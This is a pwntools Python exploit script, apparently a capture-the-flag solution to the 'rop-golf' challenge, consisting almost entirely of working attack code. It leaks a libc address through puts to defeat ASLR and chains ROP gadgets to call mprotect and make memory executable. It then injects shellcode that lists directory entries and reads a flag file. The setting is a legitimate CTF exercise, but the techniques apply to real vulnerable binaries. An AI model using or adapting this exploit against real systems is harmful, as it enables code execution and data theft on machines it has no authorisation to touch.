1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231
| from pwn import *
class BinaryInfo: exe = "rop_golf_patched" libc = "libc.so.6"
host = "rua.host.goes.here" port = 8000
# Set up pwntools for the correct architecture exe = context.binary = ELF(BinaryInfo.exe) exe_rop = ROP(exe) if BinaryInfo.libc != "": libc = ELF(BinaryInfo.libc) libc_rop = ROP(libc) else: libc = None libc_rop = None
# Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 host = args.HOST or BinaryInfo.host port = int(args.PORT or BinaryInfo.port)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = remote("tamuctf.com", 443, ssl=True, sni="rop-golf") if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
# =========================================================== # EXPLOIT GOES HERE # =========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000)
# Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' tbreak main continue '''.format(**locals())
def log_print(*msg): log.info(" ".join(map(str,msg)))
def int2byte(x: int): return x.to_bytes(exe.bytes, "little")
def wait_for_debugger(io): if args.LOCAL and input("debugger?") == "y\n": pid = util.proc.pidof(io)[0] log_print("The pid is: " + str(pid)) util.proc.wait_for_debugger(pid) log_print("press enter to continue")
ret_addr = exe_rop.find_gadget(['ret'])[0] pop_rdi_ret_addr = exe_rop.find_gadget(['pop rdi', 'ret'])[0]
io = start() wait_for_debugger(io)
writable_addr = 0x0000000000404800
rop_1 = flat({ 32: b'00000000', 32+8: [ pop_rdi_ret_addr, exe.got['puts'], exe.sym["puts"], exe.sym["vuln"] ] })
log_print("pop rdi ret",hex(pop_rdi_ret_addr))
io.sendafter(b"hi!\n",rop_1) puts_addr = int.from_bytes(io.recvuntil(b'\n',drop=True),"little") log_print("puts addr",hex(puts_addr)) libc_base_addr = puts_addr - libc.sym["puts"] log_print("libc base addr",hex(libc_base_addr))
log_print(next(libc.search(b"%p\0"))) log_print("bin sh",hex(libc_base_addr + next(libc.search(b".\0"))))
log_print(libc.sym["opendir"])
log_print("mprotect",libc.sym["mprotect"])
pop_rsi_ret_addr = libc_base_addr + libc_rop.find_gadget(['pop rsi', 'ret'])[0] pop_rdx_ret_addr = libc_base_addr + libc_rop.find_gadget(['pop rdx', 'ret'])[0] leave_ret_addr = libc_base_addr + libc_rop.find_gadget(['leave', 'ret'])[0] mov_rdx_rax_ret_addr = libc_base_addr + 0x0000000000115dff push_rdx_ret_addr = libc_base_addr + 0x0000000000117171 add_rax_1_ret_addr = libc_base_addr + 0x00000000000b4a00 add_rax_3_ret_addr = libc_base_addr + 0x00000000000b4a10
log_print("pop rsi ret",hex(pop_rsi_ret_addr)) log_print("pop rdx ret",hex(pop_rdx_ret_addr)) log_print("leave ret",hex(leave_ret_addr))
rop_2 = flat({ 32+8: [ pop_rdx_ret_addr, 0x200, exe.sym["read"], ] }) io.send(rop_2) shellcode_mov_rdi_rax_ret = asm(shellcraft.mov("rdi","rax"))+asm(shellcraft.ret()) mov_rdi_rax_ret_addr = writable_addr
shellcode_mov_r15_rdi_ret = asm(shellcraft.mov("r15","rdi"))+asm(shellcraft.ret()) mov_r15_rdi_ret_addr = mov_rdi_rax_ret_addr + len(shellcode_mov_rdi_rax_ret)
shellcode_mov_rdi_r15_ret = asm(shellcraft.mov("rdi","r15"))+asm(shellcraft.ret()) mov_rdi_r15_ret_addr = mov_r15_rdi_ret_addr + len(shellcode_mov_r15_rdi_ret)
shellcode_add_rax_19_ret = bytes.fromhex("4883c013c3") add_rax_19_ret_addr = mov_rdi_r15_ret_addr + len(shellcode_mov_rdi_r15_ret)
shellcode_read_file = b''.join([ asm(shellcraft.read(0, writable_addr+0x100, 100)), asm(shellcraft.open(writable_addr+0x100, 0)), asm(shellcraft.read('rax', writable_addr+0x100, 100)), asm(shellcraft.write(1, writable_addr+0x100, 100))])
read_file_addr = add_rax_19_ret_addr + len(shellcode_add_rax_19_ret)
flag_file_name = b"066A2462DEB399BA9183A91FC116914C.txt"
# log_print(hex(mov_rdi_rax_ret_addr),hex(mov_rdx_rdi_ret_addr),hex(mov_rdi_rdx_ret_addr)) final_shellcodes = shellcode_mov_rdi_rax_ret+shellcode_mov_r15_rdi_ret+shellcode_mov_rdi_r15_ret + shellcode_add_rax_19_ret + shellcode_read_file
rop_3 = flat({ 32+8: [ b'AAAAAAAA', b'BBBBBBBB', b'CCCCCCCC', # make it rwx pop_rdi_ret_addr, 0x0000000000404000, pop_rsi_ret_addr, 0x1000, pop_rdx_ret_addr, 1|2|4, libc_base_addr + libc.sym["mprotect"], # writing some gadget pop_rdi_ret_addr, 0, pop_rsi_ret_addr, writable_addr, pop_rdx_ret_addr, 0x100, exe.sym["read"], # print first filename pop_rdi_ret_addr, libc_base_addr + next(libc.search(b".\0")), libc_base_addr + libc.sym["opendir"], mov_rdi_rax_ret_addr, mov_r15_rdi_ret_addr, libc_base_addr + libc.sym["readdir"], add_rax_19_ret_addr, mov_rdi_rax_ret_addr, exe.sym["puts"], mov_rdi_r15_ret_addr, libc_base_addr + libc.sym["readdir"], add_rax_19_ret_addr, mov_rdi_rax_ret_addr, exe.sym["puts"], mov_rdi_r15_ret_addr, libc_base_addr + libc.sym["readdir"], add_rax_19_ret_addr, mov_rdi_rax_ret_addr, exe.sym["puts"], mov_rdi_r15_ret_addr, libc_base_addr + libc.sym["readdir"], add_rax_19_ret_addr, mov_rdi_rax_ret_addr, exe.sym["puts"], # mov_rdi_r15_ret_addr, # libc_base_addr + libc.sym["readdir"], # add_rax_19_ret_addr, # mov_rdi_rax_ret_addr, # exe.sym["puts"], read_file_addr ] }) # input("asdf") io.send(rop_3) # input("writing gadgets") io.send(final_shellcodes) # input("lol") log_print("filenames",io.recv()) io.send(flag_file_name) log_print(io.recv())
|